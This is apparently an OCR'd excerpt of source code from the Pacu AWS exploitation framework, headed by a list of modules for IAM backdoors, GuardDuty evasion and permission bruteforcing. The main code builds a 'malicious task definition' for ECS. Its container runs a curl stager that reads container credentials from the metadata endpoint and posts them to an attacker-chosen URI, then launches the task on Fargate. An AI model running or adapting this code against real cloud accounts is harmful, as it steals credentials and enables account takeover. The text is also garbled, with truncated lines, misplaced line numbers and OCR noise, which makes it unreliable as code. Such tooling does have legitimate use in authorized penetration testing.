

```
guardduty_list_findingsguardduty_whitelist_ip
```

- > iam_backdoor_assume_role
- > iam_backdoor_users_keys
- iam__backdoor_users_password
- > iam bruteforce permissions

```
# dil IW SVIIIDUI LU SEDDI'ALE LIIE UALA dilu ILS l'ERIUII, IUI EXAMDIE.
 58
              --instance-ids 123@us-west-1,54252@us-east-1,9999@ap-south-1
        # Make sure to add all arguments to module_info['arguments_to_autocomplete']
 59
        parser.add_argument('--task-definition', required=False, default=None, help='A task def
 60
        parser.add argument('--cluster', required=False, default=None, help='Cluster ARN to hos
 61
        parser.add_argument('--uri', required=False, default=None, help='URI to send credential
 62
        parser.add_argument('--task-role', required=False, default=None,
 63
                             help='ARN of task role, defaults to what is provided in the task de
 64
        parser.add_argument('--subnet', required=False, default=None,
 65
 66
                             help='Subnet ID to host task. Subnet and security group must be in
        parser.add_argument('--security-group', required=False, default=None,
 67
                             help='Security group Id to host task. Subnet and security group mus
 68
 69
 70
        def ask_for_task_role(default=None):
            task_role = input(f"Enter a task role to target ({str(default)})")
 71
 72
 73
            if not task_role and not default:
                print("An explicit task role is required.")
 74
 75
                return ask_for_task_role()
 76
 77
            return task_role
 78
 79
 80
        # Main is the first function that is called when this module is executed.
        def main(args, pacu main):
 81
            session = pacu main.get active session()
 82
 83
            ###### These can be removed if you are not using the function.
 84
 85
            args = parser.parse_args(args)
 86
            print = pacu_main.print
            input = pacu main.input
 87
            fetch data = pacu main.fetch data
 88
 89
            summary data = {"task def": ""}
 90
 91
            if args.task_definition:
 92
 93
                task_definition = args.task_definition
 94
            else:
                if fetch_data(['ECS', 'TaskDefinitions'], module_info['prerequisite_modules'][0
 95
                               Pre req module not ran successfully. Exiting...")
 96
                     print("
 97
                    return None
 98
                task_definitions = session.ECS.get('TaskDefinitions', [])
                for i in range(0, len(task_definitions)):
 99
100
                     print("
                               [{}]:{}".format(i, task_definitions[i]))
                                                 Enter the task definition ARN you are targeting
101
                task_def_input = int(input('
                task definition = task_definitions[task_def_input]
102
103
104
            if task_definition:
                region = task_definition.split(":")[3]
105
106
                if fetch_data(['ECS', 'Clusters'], module_info['prerequisite_modules'][0], '--c
107
108
                     print("
                                Pre req module not ran successfully. Exiting...")
109
                     return None
110
111
                if not args.cluster:
                     clusters = session.ECS['Clusters']
112
                    for i in range(0, len(clusters)):
113
                                    [{}]:{}".format(i, clusters[i]))
114
                         print("
                    cluster_input = int(input("
                                                  Provide a cluster to run this task definitio
115
                     cluster = clusters[cluster_input]
116
117
                     cluster = args.cluster
118
129
130
```

stager = [

131

```
'/bin/sh -c "curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_U
132
                    '-d @data.json {}"'.format(uri)
133
134
                ]
                task def keys = [x for x in task def['taskDefinition'].keys()]
135
                temp = task def['taskDefinition']
136
                cont_def = temp['containerDefinitions'][0]
137
                cont_def['image'] = 'python:latest'
138
                cont_def['entryPoint'] = ['sh', '-c']
139
140
                cont_def['command'] = stager
                container defs = [cont def]
141
142
143
                task_role = ask_for_task_role(temp.get('taskRoleArn'))
144
145
                print("
                           Creating malicious task definition...")
146
                resp = client.register_task_definition(
147
                    family=temp['family'],
148
149
                    taskRoleArn=task_role,
                    executionRoleArn=temp['executionRoleArn'] if 'executionRoleArn' in task_def
150
151
                    networkMode='awsvpc',
                    containerDefinitions=container_defs,
152
                    volumes=temp['volumes'],
153
                    placementConstraints=temp['placementConstraints'],
154
                    requiresCompatibilities=temp['requiresCompatibilities'] if 'requiresCompati
155
                    cpu=temp['cpu'] if 'cpu' in task def keys else '256',
156
                    memory=temp['memory'] if 'memory' in task_def_keys else '512'
157
158
                )
159
                current_revision = resp['taskDefinition']['taskDefinitionArn']
160
161
162
                if args.subnet is None:
                    if fetch_data(['EC2', 'Subnets'], module_info['prerequisite_modules'][1],
163
                                   Pre req module not ran successfully. Exiting...")
164
                         return None
165
                    subnets = session.EC2["Subnets"]
166
167
                    for i in range(0, len(subnets)):
168
                                    [{}]:{}::{}".format(i, subnets[i]["SubnetId"], subnets[i]["V
                                                    Input subnet ID to run the task definition:
169
                    subnet_choice = int(input("
                    subnet = subnets[subnet_choice]["SubnetId"]
170
171
                else:
172
                    subnet = args.subnet
173
174
                if args.security_group is None:
                    if fetch_data(['EC2', 'SecurityGroups'], module_info['prerequisite_modules'
175
                                    Pre req module not ran successfully. Exiting...")
176
                        print("
177
                         return None
                    security_groups = session.EC2["SecurityGroups"]
178
179
                    for i in range(0, len(security_groups)):
                                   [{}]:{}::{}".format(i, security_groups[i]["GroupId"], securi
180
                                                Input the secuirty group to use: "))
181
                    sg_choice = int(input("
182
                    security_group = security_groups[sg_choice]["GroupId"]
183
                else:
184
                    security_group = args.security_group
185
                client.run_task(cluster=cluster, launchType="FARGATE", networkConfiguration={
186
                    "awsvpcConfiguration": {
187
                         "subnets": [subnet],
188
                         "securityGroups": [security_group],
189
                         "assignPublicIp": "ENABLED"
190
                    }}, taskDefinition=current_revision)
191
192
193
            else:
                            A task definition must be specified")
194
                print("
195
                return None
196
            summary_data["task_def"] = current_revision
197
            return summary data
198
199
200
        def summary(data, pacu main):
201
                        Malicious task definition ARN: {}".format(data["task_def"])
202
            return "
```